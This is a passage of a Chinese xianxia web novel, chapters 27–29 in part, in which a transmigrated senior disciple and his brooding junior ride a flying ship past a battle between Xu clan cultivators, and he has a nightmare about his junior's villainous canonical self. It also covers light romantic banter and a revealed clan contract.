那年,许清浔带他去了传说中玄界第一大的拍卖会,他本不想去,奈何许清浔执着,说要带他见见世面,他心里也好奇,于是答应了下来。 到了地方,面对着那片仙境宫阙,身边全是气宇非凡之人,才意识到自己好像来错了地方。 他,仿佛一个误闯天家的凡人。 而他那个仿佛不要钱地对他好的师兄,其实是一位以他的身份来说,绝对高不可攀的存在。 嗯,像一朵高岭之花,却从高山跳下来,在野土乱长,毫不介意身边有一颗阴暗的毒草,还张开花瓣呵护它。 鲜花不应该爱毒草,理应如此,难道不是吗。 祁桓翻弄着手上的灵器,眼神幽暗,虽心不在焉,但丝毫不影响他的符文铭刻。 已经形成肌肉记忆的事,再如何重复,都不可能出错。 他放下五行八卦镜,转而拿起一枚黑色的三角镖,指尖极细致地操弄着灵力,刻下一枚枚肉眼难辨的符文。还好许清浔修炼去了,否则看到他铭刻这类暗器,总会露出一脸不开心的表情。 他之前很不理解许清浔为何在意,暗器又如何,只要能赢,什么器不行? 但是偏偏…… 祁桓眼神一黯,其实他并非不理解,只是……有些改不了过去的习惯。 他最终还是放下了暗器,语气仿佛在抱怨般,低声道:“你为何……总在我要放弃自己的时候出现。” 夕阳西下,暮光流入窗口,将房内渲染成一片金黄。 窗外云展云舒,光若流水,仿佛起了波澜。 他望着太阳,又转回头,不知看着什么,似乎有些落寞,心中低语道,近在咫尺,但终究……还是太遥远了。 思考时,他无意间碰倒了手边的法宝留影盒。 留影盒“哐”地自动打开,出现了一只光影小人,跟许清浔眉眼一模一样,又或者说,正是幼版的许清浔。 祁桓呆了呆,下意识将盒子扶正。 盒上的小人自动说话,表情丰富且生动,对着祁桓训责道:“师弟啊师弟,你又在想什么了啊?说好的咱哥两一起称霸九界,你忍心抛下师兄一个人吗,再不理师兄,师兄可就……可就要闹了!” 这个光影似乎许清浔本人亲自录的,不知出于什么目的,大约是四年前吧,许清浔忽然给了他这东西,说是郁闷失落的时候就打开它,主打一个叫做话疗的东西。 盒子里录了许多光影,说着不同的话,有的还真的会哭会闹假装上吊,令他难以置信。毕竟谁能想到三玄宗大师兄……如此放得下身份哄人。 但好像更难以置信的是,自己居然一直保留着这盒子,甚至还会每隔一段时间给它续灵力。 “一起称霸九界吗。” 回想起来,那曾是他幼时的梦想,只不过,他当时没有想到别人,只想到自己。 祁桓神色变幻,又看回了那个修炼中的身影,看了许久许久,直到那个人结束修炼,睁开眼睛,对他投以不解的眼神。 “师弟,你一直盯着师兄看做甚?”许清浔侧首。 祁桓所坐的位置刚好在阴影之下,显得整个人有些晦暗。 他垂眸沉思片刻,才又缓缓抬眸,“我在……思考一个问题。” “什么问题。”许清浔下意识问。也是这时,他忽然一惊,心中翻涌着难以置信,因为他对上了祁桓的视线,看到了一双野心勃勃的眼睛。 这好像是第一次,祁桓对他展露出如此赤.裸的野心。 许清浔先是吓到,后是狂喜,虽然克制地没有表现出来,但满眼是兴奋和期待。 接着,对面的黑衣青年语气低而沉郁地说:“师兄觉得,迎娶万古世家的绝顶天才,需要怎样的实力,与怎样的地位。” 空气仿佛一下子凝固了。 许清浔目瞪口呆,一脸惊愕,完全没想到对方问是这个问题。 自家师弟盯了自己半天,咋就问了这么个完全不沾边的问题? “你要说怎样的实力……跟师兄我一样的实力?”许清浔心念微乱,却尝试分析,“地位就不好说了,万古世家不轻易通婚,你又说绝顶天才……这种通常是他们娶人,没有被娶的,等等,无缘无故,你问这个做什么?” 祁桓面色微变,似乎才意识到这个问题的不对劲,眼里闪过一丝慌乱,片刻才道:“只是……有些好奇。” “这有啥好奇的。”许清浔不明白,当即站起身,走到祁桓身边,将心中话直接说出,“我还以为你要说称霸九界,怎么说了个这么平淡的问题,忘记咱哥两的约定了?到咱哥两称霸九界的时候,别说万古世界的掌上明珠,就是万万古世家的掌上明珠,那也完全不在话下不是吗?” “……”祁桓默不作声,又似乎明白了什么,但接着又一脸复杂。 许清浔没搞懂,但多少知道,自家师弟因为那些年的受挫,锋芒几乎都被磨没了,今日突显野心,当是好事一件,自己不应笑人家。 想到这,许清浔恍然大悟,随手搭着对方的肩,鼓励道:“好啦,万古世家又如何,只要你喜欢的,师兄就算是豁出命也要给你搞到手,啊,当然,咱们也要尊重对方的意志,若是对方没有那个心,咱们也不好强求吧?”他觉得他说的通情达理,义气十足,定能安慰到祁桓。 可是那仿佛火上浇油,令祁桓的脸色黑得可怕。 祁桓突然仿佛忍无可忍地开口,“师兄真是不懂人心。” 许清浔再一次目瞪口呆,眼睁睁地看着祁桓转过身去,好像不想看到他一样,周身直冒寒气。 他心头当即中了一箭,心酸无比,同时也非常迷茫。该说不说,这叛逆期加青春期的主角多少有些难懂啊…… “师弟,师弟,又生师兄气了?”许清浔轻唤,语气轻柔得仿佛在哄人一般,分明眼前人已经不再是少年,但他依然保持着惯性。 最终是祁桓难耐他哄人的语气,不得不转过身来,压着声道:“师兄不必如此,那是……我自己的事。” 许清浔一呆。 而祁桓低眸,接着说:“与师兄……无关。” 许清浔依然发呆,欲言又止,因为实在想不通。 祁桓转移话题道:“师兄修炼如何了。” “一如既往,稳扎稳打。”许清浔下意识回答,这是实话,他天赋强大,灵窍通开,五行圆满,修炼只需按部就班,就能自然修炼到极境,对灵气纯度的依赖性不大,无需固定道场。 祁桓若有所思地点点头,又问:“师兄觉得,我如今的实力在年轻一辈如何。” 许清浔登时正色,目光肃然,思考片刻才道:“顶尖,但不到无敌。” 祁桓并不意外,“比玄界最强如何。” 许清浔心中估算,“距离我还有一点距离。” 祁桓又问:“比九界最强如何。” 许清浔蹙眉,沉思道:“一段距离。” 祁桓依然没有波澜,语气淡淡道:“原来如此,无所谓,我会超越。” 许清浔很意外他会问这些,半是期待地道:“师弟,你这是……想争了?” 世人皆知,灵气复苏,意味着大世来临,何谓大世,即天才辈出、龙争虎斗的大争之世,他以前没少灌输这些观念给祁桓,想激发出祁桓的斗志,祁桓却一直兴致缺缺,今日到底是怎么了,为何又是野心勃勃,又是斗志昂扬的。 祁桓或许知道许清浔在疑惑什么,似乎想回答,却莫名住了口,面色阴晴不定,声音几乎听不见地断断续续道:“穷小子想要……不只有如此了吗……” 许清浔没听清,凑近问:“你说了什么?” 他一靠近,那股淡而雅的兰花香便随风扑来,令祁桓顿时一个激灵,且十分不自在。尤其是,他那美如画的师兄衣襟没有收好,雪白如玉的锁骨暴露在他的眼前,甚至隐约露出了下方的风景。 祁桓呼吸一滞,突然急道:“没说什么!”说完,他当即后退了一步,仿佛一个不近女色的禁欲高僧。 许清浔呆了呆,随即凝眸盯视祁桓,盯了好一会,就在祁桓快撑不住之时,突然明媚大笑,“好吧,既然你不想说,师兄也不会为难你,谁让我是世上最通情达理的好师兄!” 祁桓一愣,似乎很意外他没有追问。 许清浔振振有词道:“张弛有度才是真正的教育,你已成年,有些秘密又何妨,师兄才不是那些古板老头。” 此乃谎言,他其实心里难过得不行,但在祁桓面前,他必须扮好师兄。 祁桓不知是否看穿了许清浔的心思,若有所思地点头道:“嗯……多谢师兄。” 许清浔正欲继续说什么,忽然神舟一阵剧震,窗外强风吹拂,桌案移位。 他们立刻变色,转眸看向窗外。 窗外一道道强烈的白光激射,转瞬又消失无踪,再接着神舟又一阵巨震,意味着那股“动静”跑到其他地方了。 许清浔立道:“又碰倒大修士斗法了!” 也是绝了,怎么每次他们坐神舟都能碰上大修士空中斗法,更要命的是,距离还这么近,不会波及到神舟吧。 他不放心,转头对祁桓道:“我们出去看看。” 祁桓想到了一起,直接称是。 他们推门而出,几乎是瞬间来到了神舟甲板上。跟他们一样的,还有十几名修士。 并非为了看热闹,而是为了知道是什么情况,若是局势不妙,好趁早逃离。 只见,战场发生在数十里外,有人挥动虚空巨剑,斩出灭杀十几里外的恐怖剑击波,有人摇动金铜巨钟,声波撼动空间,震慑神魂。 面前的云丛被一剑展开,切割处仍留有惊人的剑意。 原来,方才只是一剑的余波而已。 现场有人长吁一声,“原来只是余波,大家不要担心,飞离战场就好了。” 但紧接着,有人震惊出声,“是许家人!对战的两方都是许家人!” 这话一出,现场都聒噪了,许家修士更是一脸难以置信。 “为什么许家人打起来了?他们不是世家里面最和平的吗?” “挥剑的那个人见所未见……”有个许家修士震惊道。 聒噪声中,祁桓忽然看了许清浔一眼。 因为许清浔才跟他说过——许家将会内乱。 许清浔皱起眉头,显然并不愿看到这一幕,然而那终究不是他能改变的。 就看……他的便宜父母听不听他的话了。 轰!神舟突然晃动,开始逃离大修士斗法的战场。 猝不及防之下,许清浔身边有个少年没能站稳,身体向许清浔倒去。 许清浔眼疾手快,当即拎住了少年的后领,跟拎兔子一样。 神舟恢复正常运转后,许清浔将少年轻轻放在地面,后者还在惊慌之中,傻傻的没有反应过来,不过好歹站稳了身体。 许清浔看着少年不禁想起了少年时的祁桓,伸手摸了摸少年的脑袋,低身温柔道:“没事了,别看热闹了,快回去吧。” 少年终于回过神,仰起头痴痴地望着面前的人,虽然戴着面纱,但几乎任何人都能感觉出,面纱之后,定是不属于世俗的绝色。 这样的存在所说的话,怎能不听从。 少年于是像仓鼠一样疯狂点头,随后听话转身离开。 许清浔心中欣慰。 却完全不知道,他身旁有个男人黑了脸,浑身的煞气仿佛冻结了空气。 那少年突然想到问方才的姐姐叫什么名字,然后转身一看,当即被吓得哭着逃跑,就差没有大声喊救命了。 许清浔一脸疑惑,直到他也感到背脊发凉,虽然没回头,但他感觉到那股吓人的视线。 师弟为何这般盯着我! 就在这时,一道凉飕飕的、仿佛来自地狱的声音传来。 “师兄……” “怎、怎么了?!”许清浔惊道。 第27章 第二十七章 祁桓现在是我的! 许清浔还未来得及转头, 便被身后之人拉着走进了客房。 对方气势汹汹的,罕见地如此情绪外漏,令人实在……难以理解。 关门之后,那个男人似乎才终于冷静下来, 或许是回过神来了, 知道自己方才的行为很不对劲, 于是只好主动打破沉默。 “反正……外面已经没事了。” 许清浔愣了一下,听得出对方有些不对劲,却不知道该不该问,万一惹怒了, 又不知多久才能哄好。 这容易炸毛的性格, 倒是很像他之前养的小猫。 他沉默了片刻, 忽然一笑, 仿佛无事发生般,走动几步道:“确实没事了,那两个大修士是我许家的,估计家里出了一些事, 嗯,这样一来,他们应该没空寻我了。” “倒是也好。”祁桓若有所思地点点头,随后坐在了窗前的侧榻上,姿态端正,面容肃穆。 更像禁欲高僧了。 许清浔心中寻思, 又想到,祁桓这算禁欲高僧,自己算什么?爱调戏禁欲高僧的妖女?哦不,是妖男? 他给自己逗笑了, 彻底忘了方才的插曲,随口道:“我们很快远离那个战场,距离诛魔城……估计只剩下半天左右的时间了。” “嗯。”祁桓语气淡淡,闭上了双眸,仿佛正在调息,忽然开口问:“师兄要休息一下吗。” “休息?”许清浔下意识地重复。 “你炼制符文透支精神力,守神丹效果不大。”祁桓闭着双眸道。 好小子,你怎么什么都知道? 许清浔惊诧,但想了想,的确祁桓说得没错,还是睡睡养神。 “好,我睡一会,三个时辰后喊我起来。” 祁桓淡淡称是,听不出是什么心情。 许清浔转身背对着祁桓,宽衣解带,随后倒头就睡,好不利索。但或许是第一次在神舟上睡觉,他有些……不好入眠。 他默默地躺着,灵觉莫名发达,感知着房内的所有动静。他听见,祁桓似乎取出了什么,然后……是在写什么吗? 许清浔一惊,心想这家伙总不可能在炼制符文吧,他仔细听了一会,发现确实不是,祁桓似乎在记录什么东西。 日记?哪个正经人写日记啊。 许清浔大惑不解,愈发心痒痒。 但他还没来得及转身问,便听见身后人淡淡开口。 “师兄还不睡吗。” 许清浔顿惊,这家伙……连他睡没睡都知道? 虽然他向来心大,很少关心这些细节,但突然来这么一下,他好像不得不敏感。 不过,他最终并未回答,而是贯彻装睡,呼吸愈发平稳和规律。 对方没有再说什么,又重新开始书写。 也许是在写什么感悟吧?许清浔心想,但好像原著的祁桓也没有这种习惯吧? 他在疑惑中思考,后来渐渐疲惫,当真睡了过去,呼吸浅而稳,睡相少有的恬静。 直到这时,祁桓才停笔,低眸看着账上的文字,蹙起了眉头,过了片刻,他眼神复杂,表情阴晴不定,仿佛在谴责自己地说:“我为何要算家当……” 这件事若是被那个睡觉的人知道了,不知道要被取笑多久。 但他小时候他母亲总是说,娶媳妇一定要多存钱…… 祁桓忽然脸色大黑,拿起账本就要撕毁,但转而又舍不得,最后放回了储物戒里。 他顿了顿,目光垂落,观察着手中的戒指。 这枚戒指,也是四年多前,许清浔送与他的。他当时说不需要,却被对方强硬地套进手指,只那之后便戴到了现在。 中途多次犯恶心,觉得对方动机不良,然而事实是他想多了。 那个人,即便是毫不相干的人也会无条件对人好,当初那么照顾自己,根本不是因为自己所想的“爱意”。 想到这里,祁桓又仿佛心口中了一箭,痛得几乎要窒息。 沉默许久,他又忽地自嘲一笑,“我到底在做什么……事到如今才后悔利用那个人的心情吗。” 然而,就连那个“利用”,其实也是自己的自作多情。 沉默,还是沉默- 许清浔陷入了熟睡,而且罕见地做了一个梦。 梦里的景色光怪陆离,人声聒噪且繁杂,无数男女老少的身影在他眼前闪烁而过,或哭或笑,又或是面无表情。 他有些受不了,下意识地仿佛按了暂停键,忽然间周围闪烁的光影真的变慢了,声音也清晰可听,就是可惜同时太多人说话了,他应接不暇,如走马观花,愣是搞不懂究竟是什么情况。 一直到,忽然间强光冲入眼眸,仿佛要烧了他一样。他下意识地闭上双眸,可并无事发生,他又小心地睁开眼睛,观察起周围的事物。 他发现,四下很冷,刺骨的严寒,令人不禁绷紧身体,提心吊胆起来。明明是在梦中,这些感觉却是格外真实。 他迈一步,突然“暂停键”好像失效了,大量画面推进,他回过神时,人已经坐下,面前是仙境般远山与湖泊,而身旁坐着他十分熟悉的一个男人。 分明没看到脸,但他就是觉得熟悉。 茶香幽幽,横隔他们。 他侧过眸,微抿唇,心里震惊着。 画面突然又加速推进,天地颠倒,紧接着,一道巨力将他推倒,他摔坐在软榻上,一头雾水,忽然一只手勒住了他的脖颈,强迫他抬起头直视眼前。 他也是有脾气的人,突然被这么对待,即便是梦也心火大盛,可是他正要发作,却在看清眼前人之后,哑然失声,瞪大了眼睛。 对方是他无比熟悉之人,他与对方真实相处了五年,一度同床共枕,畅所欲言,无论是以读者身份地了解,还是以师兄身份地相识,他都应该很熟悉对方了才对,为何眼前这个人让他感觉如此陌生,浑身皆是压迫感,眼里透着一种看低一切的冷漠。 接着,对方垂下双眸,竟冷笑出声,道:“凭你也想改变我么,可惜,终究是徒劳,谁也改不了既定的未来,哪怕是天道,哪怕是天意。” 他眯了眯眼,仿佛在嘲笑许清浔的天真与自不量力。 那一刻,许清浔遍体生寒,同时意识到了,对方是原著的祁桓,那个遭受过无数背叛,被命运戏耍过无数次,最终疯魔的男人。 接着,对方忽然扼住他的脖颈,缓缓收紧,玩味地看着他的反应。 明明是梦境,却有一种说不出的窒息感。 他似乎在警告许清浔,不能继续“改变”祁桓,而有那么一瞬间,许清浔确实被震慑住了,那个变态的压迫感简直不是开玩笑的,令他凉到了骨髓。 但是,他许清浔怎么可能说怂就怂,就是凭着一腔意气,他也要反驳这个变态! 许清浔像被气笑了,双眸怒瞪眼前的男人,充满了不屈与坚定,虽说不出话,但他仿佛在用眼神说:“你管我做什么,既定的未来?天道?天意?听不懂,无所谓!我只知道,那小子是我师弟,是我罩了五年的小弟!” 他的反抗似乎激怒了眼前的男人,令对方的双眸滲透出血光,压迫感简直要碾碎人的骨头。 那又如何?许清浔认定的事情,就是杀了他,他也照样不改。 再说了,他都努力五年了,几乎全部梭.哈在那小子身上了,事到如今你才叫我收手?晚了! 他死死地盯着那个男人,眼中爆发出了前所未有的强大意志,好像在说:“你有种杀了我,我是绝对不会放弃他的!” 男人似乎被气笑了,居然低笑出声,笑声仿佛从阴曹地府中传出,令人直打寒颤,凉到了神魂深处。 许清浔并非不怕这个男人,他感觉这家伙真的能杀了他,但此时此刻,他也绝无退缩的道理。 僵持不下之际,突然间,远方好像传来了数道雷声,由远及近,几乎打击到了他耳边。 他浑身一颤,突然神魂颠倒,再醒过来,耳边隐约听到了呼叫声,好像叫的是他的名字,声音是……祁桓的声音! 许清浔当即梦中惊醒,猛地睁开了眼睛。 与梦境的祁桓相比,稍显青涩的祁桓映入眼帘,对方皱紧双眉,紧张地望着他,好像十分担心他,口中声声是关切。 “师兄,师兄没事吧,你到底怎么了?” 许清浔喉咙干涩无比,欲开口,出来的声音却无比沙哑,“我……没事,就是做了一个梦。” “梦?”祁桓面色凝重。 修士的梦通常不简单,尤其是反应如此激烈的。 许清浔轻咳一声,试图撑起身,手抚床上,才惊觉自己居然出了一身冷汗,梦里那个男人压迫感十足,猝不及防之下,真给他吓得不轻。 “没事,噩梦罢了,你别太在意。”许清浔起身,本就白皙的脸色更显苍白,双唇也接近无色,微颤的身体明显还有余惊。 祁桓皱了皱眉,显然没有完全相信许清浔所说的。 忽然,许清浔抬起头,声音罕见地带着几分不安,问道:“我说……若是我的出现,祸害了你一辈子,你会怪我吗。” 祁桓想都没想,直言:“一辈子就一辈子。” 许清浔瞳孔一震。 第28章 第二十八章 身娇体弱 哈哈, 之前说你走酷哥路线还真是对不起,你是暖男路线呀! 许清浔大喜,心中的余悸瞬间消散,“不过啊师弟, 一辈子可不是小事, 哪能随口答应?” 祁桓似乎并不在意, 直问:“师兄究竟做了什么梦,我听你梦呓得很厉害。” “梦呓?”许清浔顿惊,反问:“我说了什么?” “很模糊,听不清, 你好像……很紧张、忌惮。”祁桓皱眉道, 他坐在了床边, 目光定定地望着许清浔。 许清浔唇角微抿, 片刻才开口,“梦见你变成了……一个很陌生的人。” 祁桓露出诧异的眼神,似乎没想到许清浔的梦会与他有关,问:“那不是你希望的样子, 对吗。” “当然不是。”许清浔下意识回答,“你绝不能是他那种人。” “……”祁桓微皱眉,似乎有些不确定,沉声道:“我知道了。” 许清浔见状心中一紧,突然打破微妙的气氛,随手将人揽入怀中, “话是这么说,但梦中的你实力可强大了!” 祁桓抬眸,并没有反抗许清浔的拥揽,好奇道:“有多强大。” “举世无敌!”许清浔当即夸赞, 满眼自豪,没有一丝虚情假意。 祁桓愣了一下,仿佛没想到许清浔梦中的他如此强大。 许清浔接着道:“当然,梦只是梦,现实中的你,无论未来如何强大,论起最强,还得是师兄我略胜一筹!” 祁桓不自觉地扬起嘴角,“师兄还是这么自信。” “那当然。”许清浔发自内心地说:“你师兄可是立志要成为一代最强的男人!” 祁桓淡淡一笑,“那很让人期待了。” 许清浔眨了眨眼,凑近问:“你呀,我睡之前不还野心勃勃的吗,为何现在又低落下来了?” 他抬手搭在祁桓肩上,自然地贴近着对方,发丝有一缕不小心落在了对方腿上。 祁桓脸皮微热,却仍不动声色,“师弟没有低落,一向如此。” “我说真的,你当真没有横压一代天骄,勇争无敌的念头?”许清浔接着问。 祁桓仿佛能感觉到对方的呼吸扫在了他耳边,但他仍一本正经地回答:“或许少时有过,但如今没有了。” 许清浔皱眉,“你……” 祁桓继续道:“争强好胜,逞一时之勇,不是长久的生存法则,如今的我,更宁愿默默无闻,无人关注,只要得到我想要的,完成我想做的,最终成仙就好。” 许清浔呆住,可转念一想,这也未必不是一种龙傲天。虽然不是王道流,接近凡人流,但好歹不是邪道流。 这样的信念未尝不可,而且也确实符合《醒红尘》。其实说句不好听的,他自己的信念反而才是不符合《醒红尘》的。 自己也许太钻牛角尖了,破镜难圆,覆水难收,更何况是人。已经发生的事情无法逆转,已经改变的心境无法恢复原装,能是现在的样子,也已经是自己努力的成果了。 许清浔心中思考,目光深沉地望着祁桓,又从那男人的沉默之中仿佛看到了一分想尽办法掩藏却还是不经意间流露出的脆弱。 他瞳孔收缩,突然意识到,并非只是自己的努力而已,祁桓其实也在努力,甚至比他还要努力。历史这么长,横跨这么多纪元,世上几个人抵挡得了《灭世魔经》的诱惑?然而,眼前的这个男人却做得到。 因为什么? 许清浔心念一动,想到了答案。他仿佛释然了,无声地喃喃道:“终究是我着了相,一直都没有看清你吗。” 祁桓一顿,默默转眸,然后瞳孔微缩,目光在触及对方的锁骨位置时,明显抖了抖,随后仓皇地转到一旁。 这很奇怪,他不应该是贪图美色之人,他对自己反复警告。 突然,许清浔笑了笑,靠着人轻轻拍肩,“好吧,我知道了,仔细一想,咱哥两说是一起纵横九界,但没有分工怎么行,今后这么着,我在明你在暗,我负责吸引注意力,你负责暗中收拾敌人,我是光你是影,我打遍天下无敌手,你是我不可分割的左膀右臂!你觉得如何?”这个台词多少有些中二了,许清浔说完才意识到,但依然非常期待祁桓的回应。 “光…影……”祁桓顿了顿,像在思考,随后眼睛一亮,难得地露出微笑,“以师兄来说,算是很好的想法了。” 许清浔闻言喜笑颜开,突然脸色一黑,“什么叫以师兄来说,你难道以为师兄是笨蛋?” 祁桓未回答,但唇线明显向上扬了一下。 许清浔大怒,寻思哪有这么“迕逆”兄长的,都说长兄如父,四舍五入我可是你爹啊! 他一气,突然用力将人按倒,后迅速欺身上骑,居高临下地盯着身下的男人。 瞧瞧,原著里心狠手辣的大变态就这么被他轻易推倒了,你个黑暗流傲天新手时期还真是身娇体弱。 他一想,唇线高高上扬,单手撑在男人脸侧,调戏意味过于明显。 祁桓一动不动,不如说,像是绷紧了,双眸幽幽地抬起,对上许清浔的视线,低声道:“师兄自重。” 许清浔笑容凝固,目瞪口呆,他心想,这台词不对吧,你难道还真是什么禁欲高僧,且真把我当调戏高僧的妖男了? 他面色阴晴不定,下面的人也沉默不语,看不出在想什么,端的是一个坐怀不乱。 许清浔想不通,不如就这个姿态问出自己最在意的问题。 “师弟,你以前……不是讨厌师兄吗,为何转性了?” 祁桓沉默,仿佛在深思,片刻才开口,语气不明道:“我也想知道原因。” 他那句话里,似乎夹藏着非常复杂的情绪。 许清浔顿了顿,欲开口,却见祁桓好像真心在烦恼,眉宇间笼着一股郁色,又不禁止住。他转而轻笑一笑,指向自己道:“懂了,是师兄我魅力太大,师弟抵挡不住,也是自然!” 这话很是危险,若是祁桓不接话,气氛铁定又一次凝固。 不过,出乎许清浔意料的是,黑衣青年居然轻轻一笑,承认道:“嗯,或许是如此。” 许清浔又一次目瞪口呆,而还没等他再说什么,那个男人忽然扶着他的腰,缓缓地坐起身,让他被迫抬眸正视。 不知为何,他竟微妙地感觉到了危险,还没等对方下一步动作,连忙转身下床,仓皇地走了几步才干笑一声道:“师弟总算是有眼光了!” 祁桓眸光微黯,看着自己落空的手,不知沉思着什么,后缓缓抽回,俯首轻嗅,眸光一片温和。 第29章 第二十九章 “就没见过这么护妻的修士…… 许清浔小咳一声, 连忙调整心情,嘀咕着说,既然你自己不要王道路线,那读者我可就不客气收下了!虽然说我本来就是这条路线的。 他面色恢复正常, 转头瞄了祁桓一眼, 发现祁桓正望着窗外。 窗外怎么了吗。 他也转头看去, 瞬间一道强烈的白光闪烁而过,紧接着,神舟再次大颠簸,帘帏乱飞。 那两个大修士打着打着, 余波居然又追来了。 许清浔无语了, 心想有完没完?还没决出胜负? 还真是, 弱肉强食, 适者生存的道理,每时每刻地都在修真界演绎着,若非神舟结实,又有阵法保护, 他们早就被牵连了。 到修真界还要担心空难……这也是没谁了。 忽地,许清浔听见旁边的男人仿佛在低声说什么。 “许家,真不愧是万年世家,随便两个大修士就能造出这么大的动静。” 许清浔略带诧异地转头,意外捕捉到了祁桓脸上一闪而逝的阴郁。 许清浔微愣了一下,轻笑道:“元婴修士而已, 师弟以后成长起来,定然不只是元婴。” “元婴修士而已”,这句话若是说出去,不知道会被多少人说狂妄至极, 世间天才无数,十有八九死在金丹期以下,一生没有突破到元婴的希望,他却笃定祁桓能修炼到元婴以上。 他对祁桓的信心,在某种程度上是极为异常的。 祁桓转眸,对上许清浔的视线,似乎只是随口一问,“如此强大的修士,在许家有多少。” 许清浔微挑眉,随便地估算了一下,“一百多号吧?” 这就是万年世家的底蕴,元婴修士这种级别的存在,放到外面去,无一不是开宗立派的大人物,可成为三玄宗级别的宗门之主,然而在许家,竟是随处可见,不足为奇。 祁桓仿佛在心里记下了什么,又问:“在此之上呢。” 许清浔双臂交抱,颇为为难地说:“师弟啊,即使是你也不能知道再往上的情报了,知道你好奇,但这些事知道多了,反而对你有危险。” 祁桓一顿,沉默了片刻,似乎明白了什么,轻轻点头,“嗯,我知道了。” 许清浔一笑,心想这小子真的越来越善解人意了。 忽地,祁桓站起身,目光投向窗外,神色淡淡,依旧看不出情绪。 许清浔歪了歪头,提醒道:“外面已经没事了,神舟估计很快就到诛魔城了。到诛魔城后,我两一路向西,大约……三个时辰就能赶到天魔峰,师弟要不要趁这段时间准备一下?” 修士战斗的绝胜因素许多,当中“准备”也是尤为关键。法符、丹药、法宝,任何要素的缺少都可能造成致命的问题,而许清浔所说的准备,显然是跟“魔”有关。 “嗯。”祁桓颔首,走回之前的长桌旁,“其实在你睡觉时,我就准备好了。” 许清浔一呆,“是吗?” 祁桓坐下,随手抽出一柄长剑,再拿出一张磨纸,边擦剑边问:“我开始有些不明白,许家这样的庞然大物,怎会放任师兄年纪轻轻地在家族之外。” 许清浔眨了眨眼,很意外祁桓今日话这么多,好奇地问他这么多关于许家的事。 虽然……这貌似也是很多人都疑惑的点,不只是祁桓,李长金、符水门以前也问过他差不多的问题。 “这件事……当然没那么简单。” 许清浔回忆了一下,有些欲言又止,但又觉得,告诉祁桓也无妨,他关于祁桓的事什么都知道,而祁桓关于他的事,其实知道的并不多。 人与人之间的交往,讲究的就是互相了解,这样才能互相理解,不是吗。 要将心比心,以心换心才行啊。 祁桓看许清浔沉默,擦剑的手也跟着微微停顿,目光抬起,似乎颇为在意许清浔的说法。 许清浔酝酿了下心情,随意地坐在了窗边的侧榻上,目光垂落,语气平淡地说:“那是九年前的事情了。家族之人不让我在外面闯荡,更怕我背离家族,我就跟他们说……不如交换条件,定个大道契约,把我一辈子绑定在家族。” “你说什么?”祁桓一愣,目光瞬变严肃。 “期限是我二十五的时候,在此之前我可以在外面怎样闯荡都行,但那之后,就必须回归家族,一辈子归属许家。”许清浔语气轻松,像说着其他人的事。 祁桓面色黑了,“你是傻子吗!” 许清浔挠了挠脸,“你且听我说,那契约是可以改的,我有办法。” “大道契约是你有办法可以解除的吗?”祁桓握紧了手中的剑,似乎生气了,眼里直冒火。 身为修士,谁不知道大道契约意味着什么?! 许清浔很少见他这么激动,只好道:“我真的有办法,这件事你无须担心。” 祁桓黑着脸,“你总是如此,总觉得有办法解决任何事。” 许清浔感到无辜,但也确实胸有成竹,因为关于这个世界的事,他知道的太多了。 他微微一笑,安慰道:“师弟不必担心师兄的事,契约是有条件的,他们多次打破条件抓我回家,说不定早就导致契约无效了。” 闻言,祁桓眉头稍展,又问:“多次?” 许清浔又是一笑,“在你不知道的时候,大约四年前?我前脚带你去完拍卖会,后脚就被他们抓了。” 祁桓一愣,盯着许清浔的眼神里透着几分紧张,道:“那……师兄是如何出来的?” 许清浔表情更加明媚,好像祁桓终于问到了重点,点头道:“因为我跟我的爹妈说,我在等候一个大机缘的成熟!” 他说时,双眸好似抹了光,熠熠生辉。 祁桓心头突了突,下意识问:“什么大机缘?” 许清浔别有意味地看着祁桓,心想什么大机缘?当然就是你啊,大笨蛋傲天小弟。 他唇线上扬,美滋滋地说:“现在不能告诉你,但你有一天会知道的,那是无与伦比的超级大机缘,九界第一、万古绝一!说什么也不能让,更不能错过!” 祁桓幽幽地盯着许清浔,心想,又来这高深莫测的态度,若再问,八成还是那个所谓万能的卜道。 他其实很不喜欢许清浔有事瞒着他,偏偏许清浔瞒着他的事估计多到数不清。 他厌恶那种感觉,事情不在掌控之中,心中重要的人……无法把握,无法守护,只能眼睁睁地…… 祁桓垂下双眸,沉声道:“师兄如此有把握,师弟倒也不好插嘴。” “怎么会?”许清浔当即收敛了方才的喜色,转变认真,浅色的双眸径直望着祁桓,“即便是师兄,稍有不慎也是会马失前蹄的,那时候不得指望师弟你吗。” 祁桓心一动,险些没掩住情绪,抬头问:“意思是,若你有一天被抓回家了,还要指望我去救你?” “那是自然!” 许清浔也是豁出去了,毕竟这龙傲天的承诺不要白不要。 他眨了眨眼,语气仿佛撒娇一般,低而柔地道:“所以师弟会来吗?” 说出之后他才意识到这话实在腻味,令他本人都起了一身鸡皮疙瘩,心头不得不泛起了一丝后悔,怕祁桓这种内心大猛男听完要恶心坏了。 然而,万万没想到的是,祁桓居然十分受用。 只见,那个黑衣青年听完,转过头,若无其事地擦拭了两下剑,唇线压不住地浅浅上扬,眸光温和如水,语气却故作冷淡地说道:“倒也不是不行。” 许清浔目瞪口呆,随后大为感动。 祁桓貌似意识到自己刚刚表现得完全不冷淡,正欲回头补充,忽然间熟悉的兰花香扑面而来,接着便是那个人温暖的身躯。 他目光抖了抖,落在对方雪白如玉的脖颈,垂落的白发有着如丝绸般的冰凉。一会才回味过来,原来是那个人高兴地抱了过来。 一句话而已,居然就这么高兴。 ……你这个人,到底有多好哄。 祁桓慢慢地想着,明明不过是一眨眼的功夫而已,他却感觉仿佛有一盏茶的时间那么长。 “有你这句话我就放心了!” 许清浔又感动又欣慰,“虽说做师兄的,绝无依靠师弟的道理,但师兄很高兴你这么说。” 吾家师弟初养成,大喜,普天同庆! “是吗。” 祁桓语气不咸不淡,仿佛一个油盐不进的世外高人,可惜桌上没有茶,不然许清浔感觉他一定会装模作样地抿上一口,装作丝毫不在意。 哈哈,小小师弟,本师兄已经顷刻看穿廖! 许清浔一上头,又忍不住想给祁桓添点东西,贴心地问道:“对了师弟,缺少法衣吗,实不相瞒,师兄两个月前在拍卖会搞到好东西了,白送给你,要不要?” 他说的法衣其实是法宝的一种,通常指贴身的衣物比较多,上面会刻画许多阵法,用来保护道体不受各种侵害。 祁桓闻言一顿,面色忽然沉重,好似想到了什么,然后低声道:“多谢师兄,但是不必了。” 许清浔愣住,“你……犯洁癖了?” “不是。”祁桓摇了摇头。起初他并不知道何为“洁癖”,对方屡次调侃,他才明白意思。 “那是……?”许清浔不明白,微微侧首,眼里满是困惑。 祁桓停顿了一会,道:“我不能总是利用……依靠你。” 